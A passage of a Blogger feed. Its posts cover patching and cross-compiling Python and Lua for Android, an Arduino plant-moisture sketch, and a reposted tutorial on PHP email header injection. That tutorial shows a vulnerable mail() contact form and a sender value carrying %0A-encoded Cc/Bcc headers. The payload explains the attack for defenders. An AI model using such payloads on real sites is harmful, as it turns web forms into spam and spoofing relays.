/&gt;diff -r -c -b Python-2.4.5/Python/pystrtod.c Python-2.4.5-android/Python/pystrtod.c&lt;br /&gt;*** Python-2.4.5/Python/pystrtod.c Tue Jun  8 20:52:54 2004&lt;br /&gt;--- Python-2.4.5-android/Python/pystrtod.c Fri Dec 19 10:18:11 2008&lt;br /&gt;***************&lt;br /&gt;*** 54,61 ****&lt;br /&gt;&lt;br /&gt;fail_pos = NULL;&lt;br /&gt;&lt;br /&gt;!  locale_data = localeconv();&lt;br /&gt;!  decimal_point = locale_data-&amp;gt;decimal_point;&lt;br /&gt;decimal_point_len = strlen(decimal_point);&lt;br /&gt;&lt;br /&gt;assert(decimal_point_len != 0);&lt;br /&gt;--- 54,61 ----&lt;br /&gt;&lt;br /&gt;fail_pos = NULL;&lt;br /&gt;&lt;br /&gt;!  //locale_data = localeconv();&lt;br /&gt;!  decimal_point = '.';//locale_data-&amp;gt;decimal_point;&lt;br /&gt;decimal_point_len = strlen(decimal_point);&lt;br /&gt;&lt;br /&gt;assert(decimal_point_len != 0);&lt;br /&gt;***************&lt;br /&gt;*** 218,225 ****&lt;br /&gt;&lt;br /&gt;PyOS_snprintf(buffer, buf_len, format, d);&lt;br /&gt;&lt;br /&gt;!  locale_data = localeconv();&lt;br /&gt;!  decimal_point = locale_data-&amp;gt;decimal_point;&lt;br /&gt;decimal_point_len = strlen(decimal_point);&lt;br /&gt;&lt;br /&gt;assert(decimal_point_len != 0);&lt;br /&gt;--- 218,225 ----&lt;br /&gt;&lt;br /&gt;PyOS_snprintf(buffer, buf_len, format, d);&lt;br /&gt;&lt;br /&gt;!  //locale_data = localeconv();&lt;br /&gt;!  decimal_point = '.';//locale_data-&amp;gt;decimal_point;&lt;br /&gt;decimal_point_len = strlen(decimal_point);&lt;br /&gt;&lt;br /&gt;assert(decimal_point_len != 0);&lt;br /&gt;diff -r -c -b Python-2.4.5/setup.py Python-2.4.5-android/setup.py&lt;br /&gt;*** Python-2.4.5/setup.py Sun Oct  8 19:41:25 2006&lt;br /&gt;--- Python-2.4.5-android/setup.py Fri Dec 19 17:26:29 2008&lt;br /&gt;***************&lt;br /&gt;*** 15,21 ****&lt;br /&gt;from distutils.command.install_lib import install_lib&lt;br /&gt;&lt;br /&gt;# This global variable is used to hold the list of modules to be disabled.&lt;br /&gt;! disabled_module_list = []&lt;br /&gt;&lt;br /&gt;def add_dir_to_list(dirlist, dir):&lt;br /&gt;  """Add the directory 'dir' to the list 'dirlist' (at the front) if&lt;br /&gt;--- 15,33 ----&lt;br /&gt;from distutils.command.install_lib import install_lib&lt;br /&gt;&lt;br /&gt;# This global variable is used to hold the list of modules to be disabled.&lt;br /&gt;! disabled_module_list = [&lt;br /&gt;!     '_ctypes',&lt;br /&gt;!     '_curses',&lt;br /&gt;!     '_curses_panel',&lt;br /&gt;!     '_locale',&lt;br /&gt;!     '_ssl',&lt;br /&gt;!     'crypt',&lt;br /&gt;!     'linuxaudiodev',&lt;br /&gt;!     'nis',&lt;br /&gt;!     'ossaudiodev',&lt;br /&gt;!     'readline',&lt;br /&gt;!     'zlib',&lt;br /&gt;!     ]&lt;br /&gt;&lt;br /&gt;def add_dir_to_list(dirlist, dir):&lt;br /&gt;  """Add the directory 'dir' to the list 'dirlist' (at the front) if&lt;br /&gt;***************&lt;br /&gt;*** 199,204 ****&lt;br /&gt;--- 211,218 ----&lt;br /&gt;          self.announce('WARNING: skipping import check for Cygwin-based "%s"'&lt;br /&gt;              % ext.name)&lt;br /&gt;          return&lt;br /&gt;+         if os.environ.get('CROSS_COMPILE') == 'yes':&lt;br /&gt;+             return&lt;br /&gt;      ext_filename = os.path.join(&lt;br /&gt;          self.build_lib,&lt;br /&gt;          self.get_ext_filename(self.get_ext_fullname(ext.name)))&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Download &lt;a href="http://plausible.org/andy/agcc"&gt;agcc&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Make a copy of &lt;code&gt;agcc&lt;/code&gt; called &lt;code&gt;ag++&lt;/code&gt; and apply the following patch.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;*** agcc 2008-11-06 18:22:48.000000000 +0100&lt;br /&gt;--- ag++ 2008-12-19 21:19:21.000000000 +0100&lt;br /&gt;***************&lt;br /&gt;*** 32,41 ****&lt;br /&gt;&lt;br /&gt;# Dance around to find the actual android toolchain path (it's very&lt;br /&gt;# deep, so links on $PATH are going to be common.&lt;br /&gt;! my $GCC = `which arm-eabi-gcc`;&lt;br /&gt;$GCC = qx(cd `dirname $GCC`; /bin/pwd);&lt;br /&gt;chomp $GCC;&lt;br /&gt;! die "bad arm-eabi-gcc path" if $GCC !~ /(.*)\/prebuilt\//;&lt;br /&gt;my $DROID = $1;&lt;br /&gt;&lt;br /&gt;my $ALIB = "$DROID/out/target/product/generic/obj/lib";&lt;br /&gt;--- 32,41 ----&lt;br /&gt;&lt;br /&gt;# Dance around to find the actual android toolchain path (it's very&lt;br /&gt;# deep, so links on $PATH are going to be common.&lt;br /&gt;! my $GCC = `which arm-eabi-g++`;&lt;br /&gt;$GCC = qx(cd `dirname $GCC`; /bin/pwd);&lt;br /&gt;chomp $GCC;&lt;br /&gt;! die "bad arm-eabi-g++ path" if $GCC !~ /(.*)\/prebuilt\//;&lt;br /&gt;my $DROID = $1;&lt;br /&gt;&lt;br /&gt;my $ALIB = "$DROID/out/target/product/generic/obj/lib";&lt;br /&gt;***************&lt;br /&gt;*** 174,180 ****&lt;br /&gt;if($have_src and $mode ne "-E") { $need_cpp = $need_compile = 1; }&lt;br /&gt;&lt;br /&gt;# Assemble the command:&lt;br /&gt;! my @cmd = ("arm-eabi-gcc");&lt;br /&gt;if($mode ne "DEFAULT") { @cmd = (@cmd, $mode); }&lt;br /&gt;if(defined $out) { @cmd = (@cmd, "-o", $out); }&lt;br /&gt;if($need_cpp) { @cmd = (@cmd, @include_paths, @preprocess_args); }&lt;br /&gt;--- 174,180 ----&lt;br /&gt;if($have_src and $mode ne "-E") { $need_cpp = $need_compile = 1; }&lt;br /&gt;&lt;br /&gt;# Assemble the command:&lt;br /&gt;! my @cmd = ("arm-eabi-g++");&lt;br /&gt;if($mode ne "DEFAULT") { @cmd = (@cmd, $mode); }&lt;br /&gt;if(defined $out) { @cmd = (@cmd, "-o", $out); }&lt;br /&gt;if($need_cpp) { @cmd = (@cmd, @include_paths, @preprocess_args); }&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Add &lt;code&gt;agcc&lt;/code&gt; and &lt;code&gt;ag++&lt;/code&gt; to your path.&lt;/li&gt;&lt;li&gt;Add &lt;code&gt;/android_src/prebuilt/linux-x86/toolchain/arm-eabi-4.2.1/bin&lt;/code&gt; to your path (the Android toolchain).&lt;/li&gt;&lt;li&gt;Add &lt;code&gt;/android_src/out/host/linux-x86/bin&lt;/code&gt; to your path (the Android development tools).&lt;/li&gt;&lt;li&gt;Reconfigure Python for Android.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;$ CROSS_COMPILE=yes CXX=ag++ CC=agcc AR=arm-eabi-ar \&lt;br /&gt;RANLIB=arm-eabi-ranlib LD=arm-eabi-ld AS=arm-eabi-as \&lt;br /&gt;STRIP=arm-eabi-strip ./configure --host=linux --build=arm-linux --prefix=/data&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Remove the posix module from the &lt;code&gt;Makefile&lt;/code&gt; and from &lt;code&gt;/python_src/Modules/config.c&lt;/code&gt; using the following patch.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;*** Python-2.4.5/Makefile Fri Dec 19 22:21:20 2008&lt;br /&gt;--- Python-2.4.5-android/Makefile Fri Dec 19 22:23:50 2008&lt;br /&gt;***************&lt;br /&gt;*** 21,27 ****&lt;br /&gt;&lt;br /&gt;# === Variables set by makesetup ===&lt;br /&gt;&lt;br /&gt;! MODOBJS=          Modules/threadmodule.o  Modules/signalmodule.o  Modules/posixmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/zipimport.o  Modules/symtablemodule.o  Modules/xxsubtype.o&lt;br /&gt;MODLIBS=        $(LOCALMODLIBS) $(BASEMODLIBS)&lt;br /&gt;&lt;br /&gt;# === Variables set by configure&lt;br /&gt;--- 21,27 ----&lt;br /&gt;&lt;br /&gt;# === Variables set by makesetup ===&lt;br /&gt;&lt;br /&gt;! MODOBJS=          Modules/threadmodule.o  Modules/signalmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/zipimport.o  Modules/symtablemodule.o  Modules/xxsubtype.o&lt;br /&gt;MODLIBS=        $(LOCALMODLIBS) $(BASEMODLIBS)&lt;br /&gt;&lt;br /&gt;# === Variables set by configure&lt;br /&gt;*** Python-2.4.5/Modules/config.c Fri Dec 19 22:21:20 2008&lt;br /&gt;--- Python-2.4.5-android/Modules/config.c Fri Dec 19 22:26:06 2008&lt;br /&gt;***************&lt;br /&gt;*** 21,27 ****&lt;br /&gt;&lt;br /&gt;extern void initthread(void);&lt;br /&gt;extern void initsignal(void);&lt;br /&gt;! extern void initposix(void);&lt;br /&gt;extern void initerrno(void);&lt;br /&gt;extern void initpwd(void);&lt;br /&gt;extern void init_sre(void);&lt;br /&gt;--- 21,27 ----&lt;br /&gt;&lt;br /&gt;extern void initthread(void);&lt;br /&gt;extern void initsignal(void);&lt;br /&gt;! //extern void initposix(void);&lt;br /&gt;extern void initerrno(void);&lt;br /&gt;extern void initpwd(void);&lt;br /&gt;extern void init_sre(void);&lt;br /&gt;***************&lt;br /&gt;*** 40,46 ****&lt;br /&gt;&lt;br /&gt;{"thread", initthread},&lt;br /&gt;{"signal", initsignal},&lt;br /&gt;!  {"posix", initposix},&lt;br /&gt;{"errno", initerrno},&lt;br /&gt;{"pwd", initpwd},&lt;br /&gt;{"_sre", init_sre},&lt;br /&gt;--- 40,46 ----&lt;br /&gt;&lt;br /&gt;{"thread", initthread},&lt;br /&gt;{"signal", initsignal},&lt;br /&gt;! // {"posix", initposix},&lt;br /&gt;{"errno", initerrno},&lt;br /&gt;{"pwd", initpwd},&lt;br /&gt;{"_sre", init_sre},&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Build and install Python to a local directory.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;$ make install prefix=./python-android HOSTPYTHON=./hostpython \&lt;br /&gt;HOSTPGEN=./Parser/hostpgen BLDSHARED="agcc -shared" CROSS_COMPILE=yes&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Remove some unnecessary files and push Python to your G1 or emulator.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;$ cd ./python-android&lt;br /&gt;$ rm -rf man include lib/python2.4/test&lt;br /&gt;$ find . -name '*.pyc' -exec rm {} \;&lt;br /&gt;$ find . -name '*.pyo' -exec rm {} \;&lt;br /&gt;$ find . -type d -not -name '.' | perl -pe 's,\./,/data/,' | xargs -L1 adb shell mkdir&lt;br /&gt;$ adb push . data&lt;br /&gt;&lt;/pre&gt;And here it is.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_S_hSHjWfzvo/SUwOEewTB5I/AAAAAAAAF48/04Um9VgpiZY/s1600-h/IMG_1565.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_S_hSHjWfzvo/SUwOEewTB5I/AAAAAAAAF48/04Um9VgpiZY/s320/IMG_1565.jpg" alt="" id="BLOGGER_PHOTO_ID_5281611933136652178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;&lt;br /&gt;I've uploaded the &lt;a href="http://www.masterdamonkohler.com/static/python2.4.rar"&gt;python2.4 binary&lt;/a&gt; I built for Android. It's missing lots of libraries, but it runs :) I haven't corrected the build instructions yet, but I'll hopefully get to that soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-999402458557448581?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/6djPn71yLjk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/999402458557448581/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=999402458557448581" title="22 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/999402458557448581?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/999402458557448581?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/6djPn71yLjk/python-on-android.html" title="Python on Android" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_S_hSHjWfzvo/SUwOEewTB5I/AAAAAAAAF48/04Um9VgpiZY/s72-c/IMG_1565.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">22</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/python-on-android.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8DQnc-eyp7ImA9WxJWE0g.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-2457422705937377957</id><published>2008-12-18T00:00:00.002+01:00</published><updated>2009-06-18T21:37:53.953+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-18T21:37:53.953+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="lua" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>Lua on Android</title><content type="html">&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; This post is out of date. If you'd like to run Lua on your Android device, please see my &lt;a href="http://code.google.com/p/android-scripting"&gt;Android Scripting Environment&lt;/a&gt; project.&lt;br /&gt;&lt;br /&gt;After messing around for two days trying to get Python running on Android, I decided to give Lua a try. It didn't take much to get the interpreter running (especially compared to Python which still isn't running for me). Here's a very small patch for &lt;a href="http://www.lua.org/ftp/lua-5.1.4.tar.gz"&gt;Lua 5.1.4&lt;/a&gt;.&lt;pre class="prettyprint"&gt;diff -r lua-5.1.4/src/llex.c lua-5.1.4-android/src/llex.c&lt;br /&gt;179c179&lt;br /&gt;&amp;lt;   struct lconv *cv = localeconv();&lt;br /&gt;---&lt;br /&gt;&amp;gt;   //struct lconv *cv = localeconv();&lt;br /&gt;181c181&lt;br /&gt;&amp;lt;   ls-&amp;gt;decpoint = (cv ? cv-&amp;gt;decimal_point[0] : '.');&lt;br /&gt;---&lt;br /&gt;&amp;gt;   ls-&amp;gt;decpoint = '.';//(cv ? cv-&amp;gt;decimal_point[0] : '.');&lt;br /&gt;461d460&lt;br /&gt;&amp;lt;&lt;br /&gt;diff -r lua-5.1.4/src/lvm.c lua-5.1.4-android/src/lvm.c&lt;br /&gt;205c205&lt;br /&gt;&amp;lt;     int temp = strcoll(l, r);&lt;br /&gt;---&lt;br /&gt;&amp;gt;     int temp = strcmp(l, r);//strcoll(l, r);&lt;br /&gt;763d762&lt;br /&gt;&amp;lt;&lt;/pre&gt;You'll also need get the &lt;a href="http://source.android.com/download"&gt;Android source&lt;/a&gt; and build it. Then grab &lt;a href="http://plausible.org/andy/agcc"&gt;agcc&lt;/a&gt; (a small Perl script) linked to from some brief instructions about &lt;a href="http://android-dls.com/wiki/index.php?title=Compiling_for_Android"&gt;compiling native code for Android&lt;/a&gt;. Here are some even briefer instructions for getting Lua on your G1 :)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Add &lt;code&gt;agcc&lt;/code&gt; to your path.&lt;/li&gt;&lt;li&gt;Add &lt;code&gt;mydroid/prebuilt/linux-x86/toolchain/arm-eabi-4.2.1/bin&lt;/code&gt; to your path (the Android toolchain).&lt;/li&gt;&lt;li&gt;Add &lt;code&gt;mydroid/out/host/linux-x86/bin&lt;/code&gt; to your path (the Android development tools).&lt;/li&gt;&lt;li&gt;Build and install Lua.&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;$ make CC=agcc AR="arm-eabi-ar rcu" RANLIB=arm-eabi-ranlib posix&lt;br /&gt;...&lt;br /&gt;$ make INSTALL_TOP=$(pwd)/lua-android install&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Copy Lua to your phone/emulator using &lt;code&gt;adb&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;$ cd lua-android&lt;br /&gt;$ rm -rf man&lt;br /&gt;$ adb shell&lt;br /&gt;$ su&lt;br /&gt;# cd data&lt;br /&gt;# mkdir bin include lib share&lt;br /&gt;# exit&lt;br /&gt;$ exit&lt;br /&gt;$ adb push . data&lt;/pre&gt;You can now either run Lua from &lt;code&gt;adb shell&lt;/code&gt; or by installing the terminal emulator app and running it directly on your phone.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_S_hSHjWfzvo/SUmOEmxeqfI/AAAAAAAAF2w/dOioGVQOk4o/s1600-h/img_1562.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_S_hSHjWfzvo/SUmOEmxeqfI/AAAAAAAAF2w/dOioGVQOk4o/s320/img_1562.jpg" alt="" id="BLOGGER_PHOTO_ID_5280908247847315954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;&lt;br /&gt;I fixed some bugs in the instructions. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-2457422705937377957?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/XJXfeFnT29Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/2457422705937377957/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=2457422705937377957" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/2457422705937377957?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/2457422705937377957?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/XJXfeFnT29Y/lua-on-android.html" title="Lua on Android" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_S_hSHjWfzvo/SUmOEmxeqfI/AAAAAAAAF2w/dOioGVQOk4o/s72-c/img_1562.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/lua-on-android.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEAHSXo5cCp7ImA9WxRaEkQ.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-267553979663161679</id><published>2008-12-14T23:38:00.000+01:00</published><updated>2008-12-15T00:18:58.428+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-15T00:18:58.428+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="arduino" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><title>Plant Monitor</title><content type="html">Tonight I threw together a quick plant monitor. I followed the directions for the &lt;a href="http://www.botanicalls.com/archived_kits/twitter/"&gt;Botanicalls Twitter DIY&lt;/a&gt; to build a moisture detection circuit (I used a &lt;a href="http://www.fairchildsemi.com/ds/2N/2N3904.pdf"&gt;2N3904&lt;/a&gt; transistor). It works pretty well. I found that the analog readings tend to be quite high and do not vary much (450 for dry soil, 545 for moist soil, 555 for a glass of water). I think these variables probably need to be adjusted to match individual conditions.&lt;br /&gt;&lt;br /&gt;The plan is to move this quick and dirty Arduino prototype to an ATtiny13 with wireless data transfer and solar power.  Using the tiny13, I should be able to monitor 3 plants (without disabling the reset pin). Here's my Arduino code and pictures.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_S_hSHjWfzvo/SUWTBzsnPhI/AAAAAAAAF2E/Z6YcFWlW85w/s1600-h/IMG_1545.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_S_hSHjWfzvo/SUWTBzsnPhI/AAAAAAAAF2E/Z6YcFWlW85w/s320/IMG_1545.JPG" alt="" id="BLOGGER_PHOTO_ID_5279787797428256274" border="0" /&gt;&lt;/a&gt;&lt;pre class="prettyprint"&gt;int PROBE_PIN = 5;&lt;br /&gt;&lt;br /&gt;void setup()&lt;br /&gt;{&lt;br /&gt;  Serial.begin(9600);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void loop()&lt;br /&gt;{&lt;br /&gt;  int val = analogRead(PROBE_PIN);&lt;br /&gt;  delay(1000);&lt;br /&gt;  Serial.println(val);&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-267553979663161679?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/M5gllFlMz-Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/267553979663161679/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=267553979663161679" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/267553979663161679?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/267553979663161679?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/M5gllFlMz-Q/plant-monitor.html" title="Plant Monitor" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_S_hSHjWfzvo/SUWTBzsnPhI/AAAAAAAAF2E/Z6YcFWlW85w/s72-c/IMG_1545.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/plant-monitor.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8CSHw6fyp7ImA9WxVQEE0.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-6530167044577358395</id><published>2008-12-10T13:18:00.006+01:00</published><updated>2009-01-26T22:54:29.217+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-26T22:54:29.217+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Email Injection</title><content type="html">Not so long ago, I ran a wiki called SecurePHP. On that wiki, there was one particular article about email injection that received a lot of attention. Naturally, with all the attention came lots of spam. As a result, I disabled editing of the wiki and content stagnated. Still, the email injection article remained popular. About a year later, the server that hosted SecurePHP died and I never had a chance to hook it all back up. I saved the article though and I'm reposting it now. It may be a bit old (I've been away from PHP for a long time), and I didn't write all of it, so feel free to leave comments about needed updates and corrections. Though this article focuses on PHP, it provides a lot of general information regarding email injection attacks.&lt;br /&gt;&lt;h4&gt;The PHP &lt;code&gt;mail()&lt;/code&gt; Function&lt;/h4&gt;There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.&lt;br /&gt;&lt;br /&gt;Function usage: &lt;code&gt;mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail())&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!&lt;br /&gt;&lt;h4&gt;Example 1&lt;/h4&gt;Here's an example of code we'll base our analysis on: &lt;pre class="prettyprint"&gt;&amp;lt;?php&lt;br /&gt;$to="webmaster@website.com";&lt;br /&gt;if (!isset($_POST["send"])) {&lt;br /&gt;// no post data -&amp;gt; display form&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;form method="POST" action="&amp;lt;?=$_SERVER['PHP_SELF'];?&amp;gt;"&amp;gt;&lt;br /&gt;To: webmaster@website.com&lt;br /&gt;&lt;br /&gt;From: &amp;lt;input type="text" name="sender"&amp;gt;&lt;br /&gt;&lt;br /&gt;Subject: &amp;lt;input type="text" name="subject"&amp;gt;&lt;br /&gt;&lt;br /&gt;Message:&lt;br /&gt;&lt;br /&gt;&amp;lt;textarea name="message" rows="10" cols="60" lines="20"&amp;gt;&amp;lt;/textarea&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="submit" name="send" value="Send"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;} else {&lt;br /&gt;// found post data .. deal with it&lt;br /&gt;$from=$_POST['sender'];&lt;br /&gt;// send mail&lt;br /&gt;if (mail($to, $_POST['subject'],$_POST['message'],"From: $from\n")){&lt;br /&gt;// display confirmation message if mail sent successfully&lt;br /&gt;echo "Your mail was indeed sent to $to.";&lt;br /&gt;} else {&lt;br /&gt;// sending failed, display error message&lt;br /&gt;echo "Doh! Your mail could not be sent.";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;When looking at the HTML form or at the code, it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However, it is possible to choose the subject, the message, and the sender's email address (&lt;code&gt;From:&lt;/code&gt; header). The PHP mail() function roughly works as follows: &lt;pre class="prettyprint"&gt;&amp;lt;?php mail($recipient,$subject,$message,$headers); ?&amp;gt;&lt;/pre&gt;And will produce the following raw output: &lt;pre&gt;To: $recipient&lt;br /&gt;Subject: $subject&lt;br /&gt;$headers&lt;br /&gt;&lt;br /&gt;$message&lt;/pre&gt;When calling the function like this: &lt;pre class="prettyprint"&gt;&amp;lt;?php mail("recipient@victim.xxx","Hello","Hi,\nYour site is great.\nBye","From: sender@anonymous.xxx\n"); ?&amp;gt;&lt;/pre&gt;The raw output data will look like this: &lt;pre&gt;To: recipient@victim.xxx&lt;br /&gt;Subject: Hello&lt;br /&gt;From: sender@anonymous.xxx&lt;br /&gt;&lt;br /&gt;Hi,&lt;br /&gt;Your site is great.&lt;br /&gt;Bye&lt;/pre&gt;The PHP code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers than the &lt;code&gt;From:&lt;/code&gt; using this form. Of course the &lt;code&gt;message&lt;/code&gt;, &lt;code&gt;To&lt;/code&gt; and &lt;code&gt;Subject&lt;/code&gt; fields could also be used to inject some data but the &lt;code&gt;mail()&lt;/code&gt; function and the RFC specifications would filter any content given to those fields to prevent it from being abused.&lt;br /&gt;&lt;h4&gt;What's the use of injecting email headers?&lt;/h4&gt;In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see &lt;a href="http://www.w3.org/Protocols/rfc822/"&gt;RFC 822&lt;/a&gt;). For example &lt;code&gt;Cc&lt;/code&gt; (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the &lt;code&gt;Bcc&lt;/code&gt; (Blind Carbon Copy) which sends a carbon copy of the message just like with the &lt;code&gt;Cc&lt;/code&gt; header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in RFC 822, you must add a line feed for every header. The &lt;code&gt;LF&lt;/code&gt; (line feed) char has a hexadecimal value of &lt;code&gt;0x0A&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;By providing the following values to the example script of this article: &lt;pre&gt;Sender: sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx&lt;br /&gt;Subject: ahem&lt;br /&gt;Message: My Message...&lt;/pre&gt;The email's raw data will look like this: &lt;pre&gt;To: recipient@victim.xxx&lt;br /&gt;Subject: ahem&lt;br /&gt;From: sender@anonymous.xxx&lt;br /&gt;Cc:recipient@someothersite.xxx&lt;br /&gt;Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx&lt;br /&gt;&lt;br /&gt;My Message...&lt;/pre&gt;The mail headers were injected successfully! Despite the fact that the only header value take from the HTML form is &lt;code&gt;From:&lt;/code&gt;, the resulting email has been sent to three people of our 